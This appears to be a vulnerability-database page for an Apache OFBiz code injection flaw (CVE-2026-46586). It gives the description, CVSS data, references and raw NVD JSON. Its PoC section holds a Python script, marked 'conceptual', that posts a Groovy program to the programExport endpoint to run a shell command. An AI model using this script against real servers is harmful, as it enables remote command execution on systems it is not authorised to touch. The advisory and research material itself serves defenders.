CVE-2026-46586

Description

Improper Control of Generation of Code ('Code Injection'), Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 24.09.06. Users are recommended to upgrade to version 24.09.06, which fixes the issue.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:* - VULNERABLE

Apache OFBiz < 24.09.06

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_url):
    # Exploit endpoint example (conceptual)
    url = f"{target_url}/webtools/control/programExport"
    
    # Payload for code injection (e.g., Groovy)
    payload = {
        "groovyProgram": "def proc = \"touch /tmp/pwned\".execute(); proc.waitFor()"
    }
    
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    try:
        r = requests.post(url, data=payload, headers=headers, verify=False)
        if r.status_code == 200:
            print("[+] Request sent successfully. Check if command executed.")
        else:
            print(f"[-] Failed. Status code: {r.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    exploit("http://localhost:8080")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-46586
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-46586
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-46586/
[4] VulDB https://vuldb.com/cve/CVE-2026-46586
[5] https://lists.apache.org/thread/7mgjl81nrpxqtfcg6h5qtrx7wztbl4js
[6] http://www.openwall.com/lists/oss-security/2026/05/19/30

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-46586", "sourceIdentifier": "[email protected]", "published": "2026-05-19T10:16:24.733", "lastModified": "2026-05-20T17:16:25.157", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Generation of Code ('Code Injection'), Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') vulnerability in Apache OFBiz.\n\nThis issue affects Apache OFBiz: before 24.09.06.\n\nUsers are recommended to upgrade to version 24.09.06, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-95"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.09.06", "matchCriteriaId": "CEB63EC9-E307-4D7E-98E3-142E0225D178"}]}]}], "references": [{"url": "https://lists.apache.org/thread/7mgjl81nrpxqtfcg6h5qtrx7wztbl4js", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/19/30", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}